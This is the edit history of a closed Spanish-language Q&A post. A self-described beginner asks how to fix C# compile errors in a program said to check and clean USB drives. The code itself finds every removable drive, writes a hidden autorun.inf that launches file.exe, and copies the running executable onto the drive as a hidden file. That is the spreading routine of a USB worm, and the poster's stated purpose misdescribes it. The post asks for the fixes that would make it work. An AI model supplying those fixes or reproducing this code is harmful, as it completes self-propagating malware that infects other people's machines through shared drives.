Skip to main content
Publicación cerrada como "No adecuado para este sitio" por Davlio, JuankGlezz, Mauricio Arias Olave, Rene Limon, Stefan Nolde
se añadieron 25 caracteres en el cuerpo
Origen Enlace
using System.Reflection;
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
namespace Program
{
    class Program
    {
        static void Main(string[] args)
        {
            Comprueba();
        }
        static void Comprueba()
        {
              DriveInfo[] Drives = DriveInfo.GetDrives();
              foreach (DriveInfo drive in drives)
                    {
                        if (drive.DriveType == DriveType.Removable)
                        {
                              StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf", true);
                               writer.WriteLine("[autorun]\n");
                               writer.WriteLine("open=file.exe");
                               writer.WriteLine("action=Run win32");
                               writer.Close();
                               File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);

                               File.Copy(Assembly.GetExecutingAssembly().Location, drive.Name + "file.exe", true);

                               File.SetAttributes(drive.Name + "file.exe", File.GetAttributes(drive.Name + "file.exe") | FileAttributes.Hidden);

                        }
                    }

        }
    }
}
o.cs(18,34): error CS0103: The name 'drives' does not exist in the current conte
xt
    o.cs(13,4): error CS0120: An object reference is required for the non-static fie
    ld, method, or property 'Program.Comprueba()'
    o.cs(17,6): error CS0246: The type or namespace name 'DriveInfo' could not be fo
    und (are you missing a using directive or an assembly reference?)
    o.cs(17,27): error CS0103: The name 'DriveInfo' does not exist in the current co
    ntext
    o.cs(18,34): error CS0103: The name 'drives' does not exist in the current conte
    xt
    o.cs(18,15): error CS0246: The type or namespace name 'DriveInfo' could not be f
    ound (are you missing a using directive or an assembly reference?)
    o.cs(20,30): error CS0103: The name 'DriveType' does not exist in the current co
    ntext
    o.cs(22,10): error CS0246: The type or namespace name 'StreamWriter' could not b
    e found (are you missing a using directive or an assembly reference?)
    o.cs(22,36): error CS0246: The type or namespace name 'StreamWriter' could not b
    e found (are you missing a using directive or an assembly reference?)
    o.cs(27,107): error CS0103: The name 'FileAttributes' does not exist in the curr
    ent context
    o.cs(27,58): error CS0103: The name 'File' does not exist in the current context
    
    o.cs(27,11): error CS0103: The name 'File' does not exist in the current context
    
    o.cs(29,11): error CS0103: The name 'File' does not exist in the current context
    
    o.cs(31,101): error CS0103: The name 'FileAttributes' does not exist in the curr
    ent context
    o.cs(31,55): error CS0103: The name 'File' does not exist in the current context
    
    o.cs(31,11): error CS0103: The name 'File' does not exist in the current context

Como podría corregirlos. Estoy recien empezando a programar en c#.

using System.Reflection;
using System;
using System.Collections.Generic;
using System.Linq;

using System.Text;
namespace Program
{
    class Program
    {
        static void Main(string[] args)
        {
            Comprueba();
        }
        void Comprueba()
        {
              DriveInfo[] Drives = DriveInfo.GetDrives();
              foreach (DriveInfo drive in drives)
                    {
                        if (drive.DriveType == DriveType.Removable)
                        {
                              StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf", true);
                               writer.WriteLine("[autorun]\n");
                               writer.WriteLine("open=file.exe");
                               writer.WriteLine("action=Run win32");
                               writer.Close();
                               File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);

                               File.Copy(Assembly.GetExecutingAssembly().Location, drive.Name + "file.exe", true);

                               File.SetAttributes(drive.Name + "file.exe", File.GetAttributes(drive.Name + "file.exe") | FileAttributes.Hidden);

                        }
                    }

        }
    }
}
o.cs(13,4): error CS0120: An object reference is required for the non-static fie
ld, method, or property 'Program.Comprueba()'
o.cs(17,6): error CS0246: The type or namespace name 'DriveInfo' could not be fo
und (are you missing a using directive or an assembly reference?)
o.cs(17,27): error CS0103: The name 'DriveInfo' does not exist in the current co
ntext
o.cs(18,34): error CS0103: The name 'drives' does not exist in the current conte
xt
o.cs(18,15): error CS0246: The type or namespace name 'DriveInfo' could not be f
ound (are you missing a using directive or an assembly reference?)
o.cs(20,30): error CS0103: The name 'DriveType' does not exist in the current co
ntext
o.cs(22,10): error CS0246: The type or namespace name 'StreamWriter' could not b
e found (are you missing a using directive or an assembly reference?)
o.cs(22,36): error CS0246: The type or namespace name 'StreamWriter' could not b
e found (are you missing a using directive or an assembly reference?)
o.cs(27,107): error CS0103: The name 'FileAttributes' does not exist in the curr
ent context
o.cs(27,58): error CS0103: The name 'File' does not exist in the current context

o.cs(27,11): error CS0103: The name 'File' does not exist in the current context

o.cs(29,11): error CS0103: The name 'File' does not exist in the current context

o.cs(31,101): error CS0103: The name 'FileAttributes' does not exist in the curr
ent context
o.cs(31,55): error CS0103: The name 'File' does not exist in the current context

o.cs(31,11): error CS0103: The name 'File' does not exist in the current context

Como podría corregirlos. Estoy recien empezando a programar en c#

using System.Reflection;
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
namespace Program
{
    class Program
    {
        static void Main(string[] args)
        {
            Comprueba();
        }
        static void Comprueba()
        {
              DriveInfo[] Drives = DriveInfo.GetDrives();
              foreach (DriveInfo drive in drives)
                    {
                        if (drive.DriveType == DriveType.Removable)
                        {
                              StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf", true);
                               writer.WriteLine("[autorun]\n");
                               writer.WriteLine("open=file.exe");
                               writer.WriteLine("action=Run win32");
                               writer.Close();
                               File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);

                               File.Copy(Assembly.GetExecutingAssembly().Location, drive.Name + "file.exe", true);

                               File.SetAttributes(drive.Name + "file.exe", File.GetAttributes(drive.Name + "file.exe") | FileAttributes.Hidden);

                        }
                    }

        }
    }
}
o.cs(18,34): error CS0103: The name 'drives' does not exist in the current conte
xt
    o.cs(13,4): error CS0120: An object reference is required for the non-static fie
    ld, method, or property 'Program.Comprueba()'
    o.cs(17,6): error CS0246: The type or namespace name 'DriveInfo' could not be fo
    und (are you missing a using directive or an assembly reference?)
    o.cs(17,27): error CS0103: The name 'DriveInfo' does not exist in the current co
    ntext
    o.cs(18,34): error CS0103: The name 'drives' does not exist in the current conte
    xt
    o.cs(18,15): error CS0246: The type or namespace name 'DriveInfo' could not be f
    ound (are you missing a using directive or an assembly reference?)
    o.cs(20,30): error CS0103: The name 'DriveType' does not exist in the current co
    ntext
    o.cs(22,10): error CS0246: The type or namespace name 'StreamWriter' could not b
    e found (are you missing a using directive or an assembly reference?)
    o.cs(22,36): error CS0246: The type or namespace name 'StreamWriter' could not b
    e found (are you missing a using directive or an assembly reference?)
    o.cs(27,107): error CS0103: The name 'FileAttributes' does not exist in the curr
    ent context
    o.cs(27,58): error CS0103: The name 'File' does not exist in the current context
    
    o.cs(27,11): error CS0103: The name 'File' does not exist in the current context
    
    o.cs(29,11): error CS0103: The name 'File' does not exist in the current context
    
    o.cs(31,101): error CS0103: The name 'FileAttributes' does not exist in the curr
    ent context
    o.cs(31,55): error CS0103: The name 'File' does not exist in the current context
    
    o.cs(31,11): error CS0103: The name 'File' does not exist in the current context

Como podría corregirlos. Estoy recien empezando a programar en c#.

Origen Enlace

Errores de argumentos en C#

Hola estoy modificando un pequeño programa que comprueba los usb que tengo conectados en mi pc y luego le incluiré una funcion que me los limpie(todavia me falta implementarlo) en caso de estar dañados.

El código es el siguiente:

using System.Reflection;
using System;
using System.Collections.Generic;
using System.Linq;

using System.Text;
namespace Program
{
    class Program
    {
        static void Main(string[] args)
        {
            Comprueba();
        }
        void Comprueba()
        {
              DriveInfo[] Drives = DriveInfo.GetDrives();
              foreach (DriveInfo drive in drives)
                    {
                        if (drive.DriveType == DriveType.Removable)
                        {
                              StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf", true);
                               writer.WriteLine("[autorun]\n");
                               writer.WriteLine("open=file.exe");
                               writer.WriteLine("action=Run win32");
                               writer.Close();
                               File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);

                               File.Copy(Assembly.GetExecutingAssembly().Location, drive.Name + "file.exe", true);

                               File.SetAttributes(drive.Name + "file.exe", File.GetAttributes(drive.Name + "file.exe") | FileAttributes.Hidden);

                        }
                    }

        }
    }
}

Pero me devuelve los siguientes errores:

Errores

Errores:

o.cs(13,4): error CS0120: An object reference is required for the non-static fie
ld, method, or property 'Program.Comprueba()'
o.cs(17,6): error CS0246: The type or namespace name 'DriveInfo' could not be fo
und (are you missing a using directive or an assembly reference?)
o.cs(17,27): error CS0103: The name 'DriveInfo' does not exist in the current co
ntext
o.cs(18,34): error CS0103: The name 'drives' does not exist in the current conte
xt
o.cs(18,15): error CS0246: The type or namespace name 'DriveInfo' could not be f
ound (are you missing a using directive or an assembly reference?)
o.cs(20,30): error CS0103: The name 'DriveType' does not exist in the current co
ntext
o.cs(22,10): error CS0246: The type or namespace name 'StreamWriter' could not b
e found (are you missing a using directive or an assembly reference?)
o.cs(22,36): error CS0246: The type or namespace name 'StreamWriter' could not b
e found (are you missing a using directive or an assembly reference?)
o.cs(27,107): error CS0103: The name 'FileAttributes' does not exist in the curr
ent context
o.cs(27,58): error CS0103: The name 'File' does not exist in the current context

o.cs(27,11): error CS0103: The name 'File' does not exist in the current context

o.cs(29,11): error CS0103: The name 'File' does not exist in the current context

o.cs(31,101): error CS0103: The name 'FileAttributes' does not exist in the curr
ent context
o.cs(31,55): error CS0103: The name 'File' does not exist in the current context

o.cs(31,11): error CS0103: The name 'File' does not exist in the current context

Como podría corregirlos. Estoy recien empezando a programar en c#